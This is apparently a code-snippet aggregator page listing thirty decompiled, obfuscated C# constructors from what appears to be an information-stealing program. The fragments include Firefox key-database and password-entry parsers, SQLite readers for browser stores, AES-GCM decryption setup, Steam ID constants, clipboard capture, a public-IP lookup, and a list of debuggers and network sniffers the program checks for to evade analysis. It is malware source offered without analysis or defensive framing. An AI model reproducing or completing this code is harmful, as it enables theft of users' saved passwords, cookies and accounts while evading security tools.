Exemplo n.º 1
0
 // Token: 0x0600025A RID: 602 RVA: 0x00002F6A File Offset: 0x0000116A
 public BCRYPT_OAEP_PADDING_INFO(string alg)
 {
     Class34.A1SfXVPz7w9eh();
     this.pszAlgId = alg;
     this.pbLabel  = IntPtr.Zero;
     this.cbLabel  = 0;
 }
Exemplo n.º 2
0
 // Token: 0x06000202 RID: 514 RVA: 0x00002DDE File Offset: 0x00000FDE
 // Note: this type is marked as 'beforefieldinit'.
 static Class25()
 {
     Class34.A1SfXVPz7w9eh();
     Class25.bool_0 = false;
     Class25.bool_1 = (IntPtr.Size == 8);
     Class25.bool_2 = (Class25.bool_1 || Class25.smethod_4());
 }
Exemplo n.º 3
0
 // Token: 0x06000258 RID: 600 RVA: 0x00011D44 File Offset: 0x0000FF44
 public BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(byte[] iv, byte[] aad, byte[] tag)
 {
     Class34.A1SfXVPz7w9eh();
     this = default(BCrypt.BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO);
     this.dwInfoVersion = BCrypt.BCRYPT_INIT_AUTH_MODE_INFO_VERSION;
     this.cbSize        = Marshal.SizeOf(typeof(BCrypt.BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO));
     if (iv != null)
     {
         this.cbNonce = iv.Length;
         this.pbNonce = Marshal.AllocHGlobal(this.cbNonce);
         Marshal.Copy(iv, 0, this.pbNonce, this.cbNonce);
     }
     if (aad != null)
     {
         this.cbAuthData = aad.Length;
         this.pbAuthData = Marshal.AllocHGlobal(this.cbAuthData);
         Marshal.Copy(aad, 0, this.pbAuthData, this.cbAuthData);
     }
     if (tag != null)
     {
         this.cbTag = tag.Length;
         this.pbTag = Marshal.AllocHGlobal(this.cbTag);
         Marshal.Copy(tag, 0, this.pbTag, this.cbTag);
         this.cbMacContext = tag.Length;
         this.pbMacContext = Marshal.AllocHGlobal(this.cbMacContext);
     }
 }
Exemplo n.º 4
0
 // Token: 0x06000013 RID: 19 RVA: 0x000022A5 File Offset: 0x000004A5
 public JsonArray(params JsonValue[] items)
 {
     Class34.A1SfXVPz7w9eh();
     base..ctor();
     this.xfPinNwiA = new List <JsonValue>();
     this.AddRange(items);
 }
Exemplo n.º 5
0
 // Token: 0x06000180 RID: 384 RVA: 0x0000DDD0 File Offset: 0x0000BFD0
 // Note: this type is marked as 'beforefieldinit'.
 static Class18()
 {
     Class34.A1SfXVPz7w9eh();
     Class18.list_0   = new List <string>();
     Class18.list_1   = new List <string>();
     Class18.list_2   = new List <string>();
     Class18.list_3   = new List <string>();
     Class18.string_0 = Path.Combine(Environment.ExpandEnvironmentVariables("%USERPROFILE%"), "AppData\\Local");
     Class18.string_1 = Path.Combine(Environment.ExpandEnvironmentVariables("%USERPROFILE%"), "AppData\\Local\\Temp");
     Class18.string_2 = Path.Combine(Environment.ExpandEnvironmentVariables("%USERPROFILE%"), "AppData\\Roaming");
     Class18.byte_0   = new byte[]
     {
         248,
         0,
         0,
         0,
         0,
         0,
         0,
         0,
         0,
         0,
         0,
         0,
         0,
         0,
         0,
         1
     };
 }
Exemplo n.º 6
0
 // Token: 0x06000144 RID: 324 RVA: 0x00002A6F File Offset: 0x00000C6F
 // Note: this type is marked as 'beforefieldinit'.
 static Class11()
 {
     Class34.A1SfXVPz7w9eh();
     Class11.long_0 = 76561197960265728L;
     Class11.long_1 = 76561197960265729L;
     Class11.int_0  = 0;
 }
Exemplo n.º 7
0
 // Token: 0x060001C4 RID: 452 RVA: 0x00002D0A File Offset: 0x00000F0A
 public Gecko8(byte[] salt, byte[] password, byte[] entry)
 {
     Class34.A1SfXVPz7w9eh();
     base..ctor();
     this.byte_0 = salt;
     this.byte_1 = password;
     this.byte_2 = entry;
 }
Exemplo n.º 8
0
        // Token: 0x060001C9 RID: 457 RVA: 0x0000E674 File Offset: 0x0000C874
        public Gecko9(string FileName)
        {
            Class34.A1SfXVPz7w9eh();
            base..ctor();
            List <byte> list = new List <byte>();

            this.Keys = new List <KeyValuePair <string, string> >();
            using (BinaryReader binaryReader = new BinaryReader(File.OpenRead(FileName)))
            {
                int i   = 0;
                int num = (int)binaryReader.BaseStream.Length;
                while (i < num)
                {
                    list.Add(binaryReader.ReadByte());
                    i++;
                }
            }
            string value = BitConverter.ToString(this.method_0(list.ToArray(), 0, 4, false)).Replace("-", "");
            string text  = BitConverter.ToString(this.method_0(list.ToArray(), 4, 4, false)).Replace("-", "");
            int    num2  = BitConverter.ToInt32(this.method_0(list.ToArray(), 12, 4, true), 0);

            if (!string.IsNullOrEmpty(value))
            {
                this.Version = "Berkelet DB";
                if (text.Equals("00000002"))
                {
                    this.Version += " 1.85 (Hash, version 2, native byte-order)";
                }
                int num3 = int.Parse(BitConverter.ToString(this.method_0(list.ToArray(), 56, 4, false)).Replace("-", ""));
                int num4 = 1;
                while (this.Keys.Count < num3)
                {
                    string[] array = new string[(num3 - this.Keys.Count) * 2];
                    for (int j = 0; j < (num3 - this.Keys.Count) * 2; j++)
                    {
                        array[j] = BitConverter.ToString(this.method_0(list.ToArray(), num2 * num4 + 2 + j * 2, 2, true)).Replace("-", "");
                    }
                    Array.Sort <string>(array);
                    for (int k = 0; k < array.Length; k += 2)
                    {
                        int    num5    = Convert.ToInt32(array[k], 16) + num2 * num4;
                        int    num6    = Convert.ToInt32(array[k + 1], 16) + num2 * num4;
                        int    num7    = (k + 2 >= array.Length) ? (num2 + num2 * num4) : (Convert.ToInt32(array[k + 2], 16) + num2 * num4);
                        string @string = Encoding.ASCII.GetString(this.method_0(list.ToArray(), num6, num7 - num6, false));
                        string value2  = BitConverter.ToString(this.method_0(list.ToArray(), num5, num6 - num5, false));
                        if (!string.IsNullOrEmpty(@string))
                        {
                            this.Keys.Add(new KeyValuePair <string, string>(@string, value2));
                        }
                    }
                    num4++;
                }
            }
            else
            {
                this.Version = "Unknow database format";
            }
        }
Exemplo n.º 9
0
 // Token: 0x06000014 RID: 20 RVA: 0x000022C4 File Offset: 0x000004C4
 public JsonArray(IEnumerable <JsonValue> items)
 {
     Class34.A1SfXVPz7w9eh();
     base..ctor();
     if (items == null)
     {
         throw new ArgumentNullException("items");
     }
     this.xfPinNwiA = new List <JsonValue>(items);
 }
Exemplo n.º 10
0
 // Token: 0x0600002B RID: 43 RVA: 0x000023CE File Offset: 0x000005CE
 public JsonObject(params KeyValuePair <string, JsonValue>[] items)
 {
     Class34.A1SfXVPz7w9eh();
     base..ctor();
     this.sortedDictionary_0 = new SortedDictionary <string, JsonValue>(StringComparer.Ordinal);
     if (items != null)
     {
         this.AddRange(items);
     }
 }
Exemplo n.º 11
0
 // Token: 0x0600021D RID: 541 RVA: 0x0001112C File Offset: 0x0000F32C
 // Note: this type is marked as 'beforefieldinit'.
 static Class28()
 {
     Class34.A1SfXVPz7w9eh();
     Class28.webRequest_0 = WebRequest.Create("http://ip.42.pl/raw");
     Class28.stream_0     = Class28.webRequest_0.GetResponse().GetResponseStream();
     Class28.string_0     = new StreamReader(Class28.stream_0).ReadToEnd();
     Class28.string_1     = Class17.smethod_0();
     Class28.string_2     = "";
     Class28.list_0       = new List <string>();
     Class28.list_1       = new List <string>();
 }
Exemplo n.º 12
0
 // Token: 0x0600002C RID: 44 RVA: 0x000023F8 File Offset: 0x000005F8
 public JsonObject(IEnumerable <KeyValuePair <string, JsonValue> > items)
 {
     Class34.A1SfXVPz7w9eh();
     base..ctor();
     if (items == null)
     {
         throw new ArgumentNullException("items");
     }
     this.sortedDictionary_0 = new SortedDictionary <string, JsonValue>(StringComparer.Ordinal);
     this.AddRange(items);
 }
Exemplo n.º 13
0
        // Token: 0x060001BC RID: 444 RVA: 0x0000E3A4 File Offset: 0x0000C5A4
        public Gecko7(string DataToParse)
        {
            Class34.A1SfXVPz7w9eh();
            base..ctor();
            int num = int.Parse(DataToParse.Substring(2, 2), NumberStyles.HexNumber) * 2;

            this.EntrySalt = DataToParse.Substring(6, num);
            int num2 = DataToParse.Length - (6 + num + 36);

            this.OID           = DataToParse.Substring(6 + num + 36, num2);
            this.Passwordcheck = DataToParse.Substring(6 + num + 4 + num2);
        }
Exemplo n.º 14
0
 // Token: 0x06000003 RID: 3 RVA: 0x0000224C File Offset: 0x0000044C
 public JavaScriptReader(TextReader reader)
 {
     Class34.A1SfXVPz7w9eh();
     this.int_0 = 1;
     base..ctor();
     if (reader == null)
     {
         throw new ArgumentNullException("reader");
     }
     this.textReader_0    = reader;
     this.stringBuilder_0 = new StringBuilder();
 }
Exemplo n.º 15
0
 // Token: 0x06000256 RID: 598 RVA: 0x00011CC4 File Offset: 0x0000FEC4
 // Note: this type is marked as 'beforefieldinit'.
 static BCrypt()
 {
     Class34.A1SfXVPz7w9eh();
     BCrypt.BCRYPT_KEY_DATA_BLOB_MAGIC         = BitConverter.GetBytes(1296188491);
     BCrypt.BCRYPT_OBJECT_LENGTH               = "ObjectLength";
     BCrypt.BCRYPT_CHAIN_MODE_GCM              = "ChainingModeGCM";
     BCrypt.BCRYPT_AUTH_TAG_LENGTH             = "AuthTagLength";
     BCrypt.BCRYPT_CHAINING_MODE               = "ChainingMode";
     BCrypt.BCRYPT_KEY_DATA_BLOB               = "KeyDataBlob";
     BCrypt.BCRYPT_AES_ALGORITHM               = "AES";
     BCrypt.MS_PRIMITIVE_PROVIDER              = "Microsoft Primitive Provider";
     BCrypt.BCRYPT_AUTH_MODE_CHAIN_CALLS_FLAG  = 1;
     BCrypt.BCRYPT_INIT_AUTH_MODE_INFO_VERSION = 1;
     BCrypt.STATUS_AUTH_TAG_MISMATCH           = 3221266434U;
 }
Exemplo n.º 16
0
 // Token: 0x0600013C RID: 316 RVA: 0x0000A830 File Offset: 0x00008A30
 // Note: this type is marked as 'beforefieldinit'.
 static Class10()
 {
     Class34.A1SfXVPz7w9eh();
     Class10.string_0  = "0";
     Class10.string_1  = "0";
     Class10.string_2  = "0";
     Class10.string_3  = "0";
     Class10.string_4  = "0";
     Class10.string_5  = "0";
     Class10.string_6  = "0";
     Class10.string_7  = "0";
     Class10.string_8  = "0";
     Class10.string_9  = "0";
     Class10.string_10 = "";
 }
Exemplo n.º 17
0
 // Token: 0x06000129 RID: 297 RVA: 0x00009834 File Offset: 0x00007A34
 // Note: this type is marked as 'beforefieldinit'.
 static Program()
 {
     Class34.A1SfXVPz7w9eh();
     Program.string_0  = "";
     Program.version   = "1.3.8";
     Program.timestart = DateTime.Now.ToString();
     Program.timerint  = 0;
     Program.clipp     = ((Clipboard.GetText().Length <= 0 || Clipboard.GetText().Length >= 300) ? "" : Clipboard.GetText());
     Program.geo       = "";
     Program.randomnm  = Class6.smethod_2();
     Program.path2     = "C:\\ProgramData\\debug.txt";
     Program.string_1  = Environment.GetEnvironmentVariable("LocalAppData") + "\\" + Class6.smethod_0();
     Program.path      = Program.string_1 + "\\" + Program.randomnm;
     Program.id        = "";
 }
Exemplo n.º 18
0
 // Token: 0x06000263 RID: 611 RVA: 0x00012658 File Offset: 0x00010858
 public SQLiteHandler(string baseName)
 {
     Class34.A1SfXVPz7w9eh();
     this.byte_1 = new byte[]
     {
         0,
         1,
         2,
         3,
         4,
         6,
         8,
         8,
         0,
         0
     };
     base..ctor();
     if (File.Exists(baseName))
     {
         FileSystem.FileOpen(1, baseName, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared, -1);
         string s = Strings.Space((int)FileSystem.LOF(1));
         FileSystem.FileGet(1, ref s, -1L, false);
         FileSystem.FileClose(new int[]
         {
             1
         });
         this.byte_0 = Encoding.Default.GetBytes(s);
         if (Encoding.Default.GetString(this.byte_0, 0, 15).CompareTo("SQLite format 3") != 0)
         {
             throw new Exception("Not a valid SQLite 3 Database File");
         }
         if (this.byte_0[52] > 0)
         {
             throw new Exception("Auto-vacuum capable database is not supported");
         }
         this.ushort_0 = (ushort)this.method_0(16, 2);
         this.ulong_0  = this.method_0(56, 4);
         if (decimal.Compare(new decimal(this.ulong_0), 0m) == 0)
         {
             this.ulong_0 = 1UL;
         }
         this.method_4(100UL);
     }
 }
Exemplo n.º 19
0
 // Token: 0x0600012A RID: 298 RVA: 0x00009900 File Offset: 0x00007B00
 public Class7(string string_1)
 {
     Class34.A1SfXVPz7w9eh();
     this.byte_0 = new byte[]
     {
         0,
         1,
         2,
         3,
         4,
         6,
         8,
         8,
         0,
         0
     };
     base..ctor();
     this.byte_1  = File.ReadAllBytes(string_1);
     this.ulong_1 = this.method_5(16, 2);
     this.ulong_0 = this.method_5(56, 4);
     this.method_3(100L);
 }
Exemplo n.º 20
0
 // Token: 0x06000159 RID: 345 RVA: 0x0000C628 File Offset: 0x0000A828
 // Note: this type is marked as 'beforefieldinit'.
 static Class13()
 {
     Class34.A1SfXVPz7w9eh();
     Class13.string_0 = new string[]
     {
         "HttpAnalyzer",
         "Dumper",
         "Reflector",
         "Wireshark",
         "WPE",
         "ProcessExplorer",
         "IDA",
         "HTTP Debugger Pro",
         "The Wireshark Network Analyzer",
         "WinDbg",
         "Colasoft Capsa",
         "smsniff",
         "Olly",
         "OllyDbg",
         "WPE PRO",
         "Microsoft Network Monitor",
         "Fiddler",
         "SmartSniff",
         "Immunity Debugger",
         "Process Explorer",
         "PE Tools",
         "AQtime",
         "DS-5 Debug",
         "Dbxtool",
         "Topaz",
         "FusionDebug",
         "NetBeans",
         "Rational Purify",
         ".NET Reflector",
         "Cheat Engine",
         "Sigma Engine"
     };
 }
Exemplo n.º 21
0
 // Token: 0x060000C6 RID: 198 RVA: 0x00005458 File Offset: 0x00003658
 public CNT(string baseName)
 {
     Class34.A1SfXVPz7w9eh();
     base..ctor();
     this.byte_1 = new byte[]
     {
         0,
         1,
         2,
         3,
         4,
         6,
         8,
         8,
         0,
         0
     };
     if (File.Exists(baseName))
     {
         FileSystem.FileOpen(1, baseName, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared, -1);
         string s = Strings.Space((int)FileSystem.LOF(1));
         FileSystem.FileGet(1, ref s, -1L, false);
         FileSystem.FileClose(new int[]
         {
             1
         });
         this.byte_0   = Encoding.Default.GetBytes(s);
         this.ushort_0 = (ushort)this.method_8(16, 2);
         this.ulong_0  = this.method_8(56, 4);
         if (decimal.Compare(new decimal(this.method_1()), 0m) == 0)
         {
             this.ulong_0 = 1UL;
         }
         this.method_11(100UL);
     }
 }
Exemplo n.º 22
0
 // Token: 0x0600023D RID: 573 RVA: 0x00002F00 File Offset: 0x00001100
 // Note: this type is marked as 'beforefieldinit'.
 static Class31()
 {
     Class34.A1SfXVPz7w9eh();
     Class31.list_0 = new List <string>();
 }
Exemplo n.º 23
0
 // Token: 0x0600023C RID: 572 RVA: 0x0000276F File Offset: 0x0000096F
 public Class31()
 {
     Class34.A1SfXVPz7w9eh();
     base..ctor();
 }
Exemplo n.º 24
0
 // Token: 0x06000181 RID: 385 RVA: 0x00002AD2 File Offset: 0x00000CD2
 // Note: this type is marked as 'beforefieldinit'.
 static Class19()
 {
     Class34.A1SfXVPz7w9eh();
     Class18.Class19.class19_0 = new Class18.Class19();
 }
Exemplo n.º 25
0
 // Token: 0x0600004C RID: 76 RVA: 0x0000266B File Offset: 0x0000086B
 public JsonPrimitive(DateTimeOffset value)
 {
     Class34.A1SfXVPz7w9eh();
     base..ctor();
     this.object_0 = value;
 }
Exemplo n.º 26
0
 // Token: 0x06000160 RID: 352 RVA: 0x00002AB0 File Offset: 0x00000CB0
 // Note: this type is marked as 'beforefieldinit'.
 static Class15()
 {
     Class34.A1SfXVPz7w9eh();
     Class15.int_0 = 666;
 }
Exemplo n.º 27
0
 // Token: 0x06000246 RID: 582 RVA: 0x0000276F File Offset: 0x0000096F
 public Account()
 {
     Class34.A1SfXVPz7w9eh();
     base..ctor();
 }
Exemplo n.º 28
0
 // Token: 0x06000053 RID: 83 RVA: 0x000026B6 File Offset: 0x000008B6
 // Note: this type is marked as 'beforefieldinit'.
 static JsonPrimitive()
 {
     Class34.A1SfXVPz7w9eh();
     JsonPrimitive.XstdncteM = Encoding.UTF8.GetBytes("true");
     JsonPrimitive.byte_0    = Encoding.UTF8.GetBytes("false");
 }
Exemplo n.º 29
0
 // Token: 0x060001B7 RID: 439 RVA: 0x0000276F File Offset: 0x0000096F
 public Gecko5()
 {
     Class34.A1SfXVPz7w9eh();
     base..ctor();
 }
Exemplo n.º 30
0
 // Token: 0x06000041 RID: 65 RVA: 0x0000255D File Offset: 0x0000075D
 public JsonPrimitive(double value)
 {
     Class34.A1SfXVPz7w9eh();
     base..ctor();
     this.object_0 = value;
 }